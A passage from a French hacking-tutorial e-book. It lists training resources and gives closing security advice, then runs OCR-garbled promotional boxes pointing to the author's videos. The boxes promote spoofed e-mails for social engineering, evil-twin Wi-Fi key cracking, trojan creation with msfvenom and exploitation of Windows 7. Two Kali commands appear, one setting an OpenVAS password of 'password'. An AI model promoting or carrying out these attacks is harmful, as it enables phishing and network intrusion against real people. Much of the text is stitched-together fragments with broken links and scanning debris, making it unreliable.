EDX se conforme aux cours de niveau universitaire des meilleures institutions qui les rendent accessibles au public en ligne. Si vous souhaitez obtenir un formulaire d'achèvement certifié pour vos cours collégial, vous pouvez obtenir la plupart des certificats dans la plage de 100 $ à 200 $ + sur EDX. Cela peut montrer aux recruteurs que vous êtes bien certifié, et que vous avez la persévérance de suivre un cours de niveau universitaire et de le terminer avec succès.

3.  SANS Cyber Aces

Le SANS Institute est une entreprise spécialisée dans la cyber sécurité et le test de pénétration.

C’est l’un des meilleurs formateurs en matière de sécurité de l’information dans le monde, offrant des dizaines de cours de haut niveau.

SANS Cyber Aces, une initiative gratuite de sécurité de l’information développée par le SANS Institute, fait partie des dizaines de classes à forte valeur ajoutée. 

SANS offre aux enseignants et aux étudiants un excellent moyen d’apprendre le hacking et la sécurité de l’information avec de vrais experts. Alors que SANS continue de croître et de développer Cyber Aces, de plus en plus d'informations sont ajoutées !

Pour une véritable formation en cyber sécurité par les professionnels, ne manquez pas le SANS Institute et les Cyber Aces.
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DERNIÈRES PENSÉES
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Je veux m'assurer que vous compreniez qu'aucun code ne sera jamais infaillible.

Les ordinateurs sont créés et fabriqués par des êtres humains qui ne sont pas parfaits et des erreurs sont toujours commises. C'est-à-dire que vous courez le risque d'être attaqué chaque fois que vous allumez votre ordinateur et ouvrez votre navigateur Web, que vous ayez ou non mis en œuvre ces pratiques de sécurité.

En fait, ils disent que le système informatique le plus sécurisé est celui qui n’a pas la capacité de se connecter à Internet ni la capacité d’être allumé !

Mais en appliquant ces mesures de sécurité, il sera beaucoup plus difficile pour un attaquant de compromettre votre sécurité sur le web. Pensez à utiliser ces pratiques de sécurité sous le même angle que l'aversion au risque. Par exemple, si une personne est végétarienne toute sa vie et s’abstient de boire de l’alcool et de fumer, la probabilité qu’elle contracte une maladie chronique tel le diabète est réduite à néant.

Bien que cela soit encore possible, leurs choix de vie réduisent considérablement le risque de maladie. De même, la mise en œuvre de ces procédures de sécurité fonctionne sensiblement de la même manière. La vérité est que les systèmes d’exploitation et les sites Web contiennent des failles et des erreurs qui peuvent être exploitées par des pirates. C’est juste une réalité de la vie. Mais en renforçant votre sécurité, il devient beaucoup plus difficile, voire impossible dans certains cas, pour un attaquant de pirater votre système avec succès.


Une dernière chose...

Si vous avez apprécié ce livre ou vous l’avez trouvé utile, je vous suis reconnaissant de poster un court commentaire sur Amazon. Votre soutien fait vraiment une différence et je lirai tous les commentaires personnellement afin de pouvoir obtenir vos feed-back et améliorer ce livre.

Merci encore pour votre soutien !
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FORMATION GRATUITE

Pour augmenter vos chances de réussite
dans I'ingénierie sociale, vous pouvez
envoyer des e-mail spoofé. Cela va
donner I'impression que vos e-mails
viennent d'une partie de confiance
(Facebook par exemple), je vous montre
comment le faire ici
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FORMATION GRATUITE

Il'y a plusieurs méthodes pour cracker
une clé Wi-Fi, mais celle que je préfére
le plus est I’attaque par evil-twin, je
vous montre en vidéo pour voir
comment ca marche :

https :/hackingeek.compvip/
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FORMATION GRATUITE

Il est relativement facile de créer des
malware en utilisant les outils adéquat
sans avoir besoin de les coder soi-méme.
Je vous montre comment vous pouvez
créer un trojan avec msfvenom, visitez
le lien suivant pour avoir accésa la
vidéo :





d2d_images/image050.png





d2d_images/image171.png





d2d_images/image051.png
a3 > seorch valted 2.2:2,

gt
R e T —e]






d2d_images/image172.png
FORMATION GRATUITE

Pour une vidéo qui vous montre étape
par étape comment installer OpenVas,
vous pouvez visiter le lien suivant :
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GA VOUS PARAIT DIFFICILE ?

Vous pouvez visionner la démonstration
en vidéo en suivant le lien suivant :
hi

:/hackingeek.compvip/
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rootgkali:-# locate *2john
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ATTENTION !

Méme avoir un antivirus misa jour ne
garantit pas une protection & 100%, je
peux vous le prouver dans cette vidéo :

https :/hackingeek.compvip/
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FORMATION GRATUITE

Pour une vidéo étape par étape sur
comment installer une machine virtuelle

sur virtualbox, vous pouvez visiter le
lien suivant :

https://hackingeek.compip
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FORMATION GRATUITE (IMPORTANT!

Sivous débutez le hacking de zéro, j'ai
créé une vidéo qui vous montre les
bases que vous devez acquérir avant de
s’engager dans le hacking. Une fois ces
basesacquises, vous pouvez continuer
de lire le livre (sinon cela va étre
difficile pour vous) :

https :/hackingeek.compvip/
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FORMATION GRATUITE

Pour une vidéo qui vous montre étape
par étape comment exploiter une
machine windows 7 vulnérable a cette
faille, vous pouvez visiter le lien suivant

https :/hackingeek.compvip/
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rootékali:~# openvasmd --user=Anass --new-passwor=password
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